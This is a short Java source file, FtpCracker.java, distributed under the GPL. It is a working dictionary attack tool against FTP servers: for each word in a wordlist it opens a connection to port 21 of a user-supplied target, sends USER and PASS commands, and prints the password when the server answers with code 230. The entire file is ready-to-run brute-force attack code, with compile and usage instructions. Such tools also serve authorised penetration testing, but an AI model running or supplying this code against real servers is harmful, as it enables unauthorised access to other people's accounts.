FtpCracker.java

/*
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; even without the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program.  If not, see <http://www.gnu.org/licenses/>.

Compile with: javac FtpCracker.java
Usage: java FtpCracker <target> <username> <dictionary file>
*/

import java.net.*;
import java.io.*;

public class FtpCracker {

    public static void main(String[] args) throws IOException {

        // Check the args and return an error if not the required amount
        if (args.length != 3) {
            System.err.println("Usage: java FtpCracker <target> <username> <dictionary_file>");
            System.exit(1);
        }

        // Init (some) args as variables
        File dict = new File(args[2]);

        try (

            // Set up the file input reader
            FileInputStream dict_file_input = new FileInputStream(dict);
            BufferedReader dictionary = new BufferedReader(new InputStreamReader(dict_file_input));

        ) {

            String usernameLine = ("USER " + args[1] + "\r");
            String line = null;

            while ((line = dictionary.readLine()) != null) {

                // Set up the socket, the socket input and output streams
                Socket conSocket = new Socket(args[0], 21);
                PrintWriter socketOut = new PrintWriter(conSocket.getOutputStream(), true);
                BufferedReader socketIn = new BufferedReader(new InputStreamReader(conSocket.getInputStream()));
                String statusCode = null;
                statusCode = socketIn.readLine();

                // Set up the password for testing
                line = line.replace("\n", "");
                String passLine = ("PASS " + line + "\r");

                // Send username to ftp server
                System.out.println("Trying: " + args[1] + " - " + line);
                socketOut.println(usernameLine);
                statusCode = socketIn.readLine();

                // Send pass to ftp server and parse status code
                socketOut.println(passLine);
                statusCode = socketIn.readLine();
                int finalStatus = Integer.parseInt(statusCode.substring(0,3));

                // Send termination to ftp server
                socketOut.println("QUIT\r\n");

                // Receive closing message and close socket
                statusCode = socketIn.readLine();
                conSocket.close();

                // Check the status code for ftp's success code
                if (finalStatus == 230) {
                    System.out.println("[***] Password Found: " + line);
                    System.exit(1);
                }
            }

            System.out.println("Password was not found\nUse a different dictionary file");
            System.exit(1);

        }

        // Catch thrown errors, if occur
        catch (UnknownHostException e){
            System.err.println(e);
            System.exit(1);
        }
        catch (IOException e){
            System.err.println(e);
            System.exit(1);
        }
    }
}